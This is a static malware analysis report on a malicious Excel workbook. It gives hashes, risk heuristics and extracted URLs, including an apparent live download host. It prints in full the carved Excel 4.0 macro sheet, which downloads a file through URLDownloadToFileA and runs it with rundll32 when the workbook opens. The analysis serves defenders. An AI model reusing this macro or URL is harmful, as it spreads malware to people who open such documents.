Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d9c06e7e94a9579f…

MALICIOUS

Office (OOXML)

149.7 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-01
MD5: 0cc461c61a529438ee92dc0ab58c8d50 SHA-1: 8a456e440a391686a3d49f1e929fe06f862d077d SHA-256: d9c06e7e94a9579f665ea1031d4b44f4f2b03e606dc340f00ed3d552d3a5a76f
190 Risk Score

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA.FILL, REGISTER, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://costacars.es/ico/ortodox.php In document text (OOXML body / shared strings)
    • http://www.iec.chIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 5659 bytes
SHA-256: 08416eab54626414d82821d7123d9bdf9ba331304b7c6e357f4b0aac921d5e76
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0100-000000000000}"><dimension ref="BA140:BH157"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.109375" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="16384" width="4.109375" style="3"/></cols><sheetData><row r="140" spans="53:60" x14ac:dyDescent="0.3"><c r="BA140" s="2"/><c r="BB140" s="2"/><c r="BC140" s="2"/><c r="BD140" s="2"/><c r="BE140" s="2"/><c r="BF140" s="2"/><c r="BG140" s="2"/><c r="BH140" s="2"/></row><row r="141" spans="53:60" x14ac:dyDescent="0.3"><c r="BA141" s="2"/><c r="BB141" s="2"/><c r="BC141" s="2"/><c r="BD141" s="2"/><c r="BE141" s="2"/><c r="BF141" s="2"/><c r="BG141" s="2"/><c r="BH141" s="2"/></row><row r="142" spans="53:60" x14ac:dyDescent="0.3"><c r="BA142" s="2"/><c r="BB142" s="2"/><c r="BC142" s="2"/><c r="BD142" s="2"/><c r="BE142" s="2"/><c r="BF142" s="2"/><c r="BG142" s="2"/><c r="BH142" s="2"/></row><row r="143" spans="53:60" x14ac:dyDescent="0.3"><c r="BA143" s="2"/><c r="BB143" s="2"/><c r="BC143" s="2"/><c r="BD143" s="2"/><c r="BE143" s="2"/><c r="BF143" s="2"/><c r="BG143" s="2"/><c r="BH143" s="2"/></row><row r="144" spans="53:60" x14ac:dyDescent="0.3"><c r="BA144" s="2"/><c r="BB144" s="2"/><c r="BC144" s="2"/><c r="BD144" s="2"/><c r="BE144" s="2"/><c r="BF144" s="2"/><c r="BG144" s="2"/><c r="BH144" s="2"/></row><row r="145" spans="53:60" x14ac:dyDescent="0.3"><c r="BA145" s="2"/><c r="BB145" s="2"/><c r="BC145" s="2"/><c r="BD145" s="2"/><c r="BE145" s="2"/><c r="BF145" s="2"/><c r="BG145" s="2"/><c r="BH145" s="2"/></row><row r="146" spans="53:60" x14ac:dyDescent="0.3"><c r="BA146" s="2"/><c r="BB146" s="2"/><c r="BC146" s="2"/><c r="BD146" s="2"/><c r="BE146" s="2"/><c r="BF146" s="2"/><c r="BG146" s="2"/><c r="BH146" s="2"/></row><row r="147" spans="53:60" x14ac:dyDescent="0.3"><c r="BA147" s="2"/><c r="BB147" s="2"/><c r="BC147" s="2"/><c r="BD147" s="2"/><c r="BE147" s="2"/><c r="BF147" s="2"/><c r="BG147" s="2"/><c r="BH147" s="2"/></row><row r="148" spans="53:60" x14ac:dyDescent="0.3"><c r="BA148" s="2"/><c r="BB148" s="2" t="b"><f>FORMULA.FILL("rundl",BF149)</f><v>0</v></c><c r="BC148" s="2"/><c r="BD148" s="2"/><c r="BE148" s="2"/><c r="BF148" s="2"/><c r="BG148" s="2"/><c r="BH148" s="2"/></row><row r="149" spans="53:60" x14ac:dyDescent="0.3"><c r="BA149" s="2"/><c r="BB149" s="2" t="b"><f>FORMULA.FILL("DownloadToFileA",BC150)</f><v>0</v></c><c r="BC149" s="2" t="s"><v>0</v></c><c r="BD149" s="2" t="b"><f>REGISTER(BC149,"URL"&amp;BC150,BC151,BC152,,1,9)</f><v>0</v></c><c r="BE149" s="2" t="b"><f>EXEC(BF149&amp;"l32 "&amp;"..\Krock.KOD"&amp;",StartW")</f><v>0</v></c><c r="BF149" s="2"/><c r="BG149" s="2"/><c r="BH149" s="2"/></row><row r="150" spans="53:60" x14ac:dyDescent="0.3"><c r="BA150" s="2"/><c r="BB150" s="2" t="b"><f>BD148()</f><v>0</v></c><c r="BC150" s="2"/><c r="BD150" s="2" t="e"><f>GERYTDBFGGHD(0,BC154,"..\Krock.KOD",0,0)</f><v>#NAME?</v></c><c r="BE150" s="2"/><c r="BF150" s="2"/><c r="BG150" s="2"/><c r="BH150" s="2"/></row><row r="151" spans="53:60" x14ac:dyDescent="0.3"><c r="BA151" s="2"/><c r="BB151" s="2"/><c r="BC151" s="2" t="s"><v>1</v></c><c r="BD151" s="2"/><c r="BE151" s="2"/><c r="BF151" s="2"/><c r="BG151" s="2"/><c r="BH151" s="2"/></row><row r="152" spans="53:60" x14ac:dyDescent="0.3"><c r="BA152" s="2"/><c r="BB152" s="2"/><c r="BC152" s="2" t="s"><v>2</v></c><c r="BD152" s="2"/><c r="BE152" s="2"/><c r="BF152" s="2"/><c r="BG152" s="2"/><c r="BH152" s="2"/></row><row r="153" spans="53:60" x14ac:dyDescent="0.3"><c r="BA153" s="2"/><c r="BB153" s="2"/><c r="BC153" s="2"/><c r="BD153" s="2"/><c r="BE153" s="2"/><c r="BF153" s="2"/><c r="BG153" s="2"/><c r="BH153" s="2"/></row><row r="154" spans="53:60" x14ac:dyDescent="0.3"><c r="BA154" s="2"/><c r="BB154" s="2"/><c r="BC154" s="2" t="s"><v>3</v></c><c r="BD154" s="2"/><c r="BE154" s="2"/><c r="BF154" s="2"/><c r="BG154" s="2"/><c r="BH154" s="2"/></row><row r="155" spans="53:60" x14ac:dyDescent="0.3"><c r="BA155" s="2"/><c r="BB155" s="2"/><c r="BC155" s="2"/><c r="BD155" s="2" t="b"><f>BE148()</f><v>0</v></c><c r="BE155" s="2"/><c r="BF155" s="2"/><c r="BG155" s="2"/><c r="BH155" s="2"/></row><row r="156" spans="53:60" x14ac:dyDescent="0.3"><c r="BA156" s="2"/><c r="BB156" s="2"/><c r="BC156" s="2"/><c r="BD156" s="2"/><c r="BE156" s="2"/><c r="BF156" s="2"/><c r="BG156" s="2"/><c r="BH156" s="2"/></row><row r="157" spans="53:60" x14ac:dyDescent="0.3"><c r="BA157" s="2"/><c r="BB157" s="2"/><c r="BC157" s="2"/><c r="BD157" s="2"/><c r="BE157" s="2" t="b"><f>HALT()</f><v>0</v></c><c r="BF157" s="2"/><c r="BG157" s="2"/><c r="BH157" s="2"/></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/><headerFooter alignWithMargins="0"/></xm:macrosheet>